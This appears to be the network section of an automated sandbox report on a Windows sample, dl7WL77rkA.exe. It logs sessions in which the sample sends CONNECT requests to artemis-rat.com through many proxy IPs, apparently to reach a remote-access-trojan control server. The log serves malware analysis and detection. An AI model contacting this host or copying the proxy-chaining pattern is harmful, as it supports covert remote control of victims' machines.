Mar 11, 2024 03:30:38.282680988 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:30:38.295322895 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c cd 59 17 dd 14 1e 26 9f fe 2d ef 10 83 44 b4 41 15 19 c5 b9 b3 64 45 fe c6 0e a1 09 c6 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elY&-DAdE*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:38.672302008 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ee 6c ce 8b 22 10 33 9b 17 fd a9 15 38 37 c2 7f d8 b3 db ee b0 ef f1 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?el"387DOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 03:30:38.672321081 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 03:30:38.672383070 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
Mar 11, 2024 03:30:38.672399044 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ
Mar 11, 2024 03:30:38.676933050 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 fa 8f 1f f6 19 ec 5c 71 76 4c 90 ea 9d 1e ae 93 71 17 39 3c 5d bc 3b 2d 53 fa 09 cf 93 b5 a7 6d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5c 52 42 63 93 51 b7 b3 7f f5 1e d5 a8 be 44 be 39 e4 cd c6 d9 Data Ascii: %! \qvLq9<];-Sm(\RBcQD9;?#ET)
Mar 11, 2024 03:30:39.032970905 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 ed 3f 73 19 14 7e ba 30 30 a4 f5 a8 44 b2 a7 4a 60 99 f3 bd 38 a9 a9 88 2f 2e 3c 23 cb 00 9f 67 89 ea 48 e3 75 2a ab 25 48 bf b8 25 8b a5 f6 0a d0 21 3b a5 f0 fc 84 f2 95 96 a4 68 3b bb 41 8e 74 2c f5 Data Ascii: ?s~00DJ`8/.<#gHu*%H%!;h;At,;2@p},;}3Pe@((yby6we0;%%W4x'X&!V-}DeZ^Jk>(_?bcL
Mar 11, 2024 03:30:39.034902096 CET	252	OUT	Data Raw: 17 03 03 00 f7 00 00 00 00 00 00 00 01 ca 4f 1d 56 d7 f8 a2 05 91 19 5d 65 e9 08 bf 95 b5 d3 ef 6c e8 03 bf 68 9b c0 e3 65 d0 3f d6 ae 8a 36 cb 58 46 28 88 1d a2 95 ab 50 a1 28 96 d8 af db 0c b5 35 6f 0e f5 03 cd 5d b8 e9 97 3d 97 d2 76 d2 4d 3a Data Ascii: OV]elhe?6XF(P(5o]=vM:@%!NjLq]$VIJ8yThCef1bF1XF)\kDX\|"c>C[fEpK\|>mm>/gJ#U(m~ Lcd}%NO
Mar 11, 2024 03:30:39.412450075 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 42 67 1c 63 c1 aa 01 51 ae 6b 1e 78 e1 69 9c 6f 40 5c 7e 5d 46 fb 0f a1 17 e9 23 6c e2 28 21 d4 9c 79 f8 e9 09 a9 c2 88 87 1c b7 6f 19 c9 27 f7 2a 5e ac cb ab 8a 49 17 d0 55 c7 51 c4 1a 06 7f f6 c9 46 e5 c5 Data Ascii: qBgcQkxio@\~]F#l(!yo'^IUQFC@Z:[skzo.uW/!W+3Fqho0E0!KkM}`SzwZMyLA7QnQ)[nc{NJA`{WFN&OQ;_
Mar 11, 2024 03:30:39.412545919 CET	1286	IN	Data Raw: 7d 96 c7 08 d0 78 94 a6 8b e4 3c 9f 23 34 25 19 0e 80 05 c6 e6 4d e7 0e ce 11 4d af 60 07 bf 6d 55 30 9a 3e 9b dc 64 20 be eb 45 b2 40 24 e7 16 cf dc 5e 0d 88 a7 38 67 e9 6f 17 dc 82 5d e8 b6 18 d9 0d 11 92 dc d9 e6 8a eb 5b 04 74 c8 2a 56 77 d7 Data Ascii: }x<#4%MM`mU0>d E@$^8go][t*VwQA4Z.}!D8TTClq\VQ.@W{yjdt=k^~<s.z]2F7u-y\|3-MUq\|@Put3i,s"IOy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50136	38.54.95.19	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.929853916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.150342941 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50034	91.148.127.162	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.934290886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50063	51.38.63.124	27294	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.940043926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.592339039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.498665094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.405280113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49996	203.95.198.146	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.941464901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.302336931 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50048	185.219.133.106	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.942972898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.290262938 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50173	172.67.181.85	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.971839905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.126097918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50070	62.112.11.204	26431	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.971918106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.270011902 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50102	18.134.236.231	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972024918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.266376972 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50206	172.67.182.38	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972099066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.126737118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50139	184.181.217.220	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972194910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50211	104.18.143.26	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972210884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.126688957 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50179	104.20.233.70	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972764969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.127104044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50092	8.211.4.215	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.972887039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.278597116 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 02:30:38 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50178	104.18.44.93	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.973248959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.127522945 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50171	104.21.124.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.973455906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.128079891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50061	65.109.163.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.973485947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.356525898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50066	3.122.84.99	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.973651886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
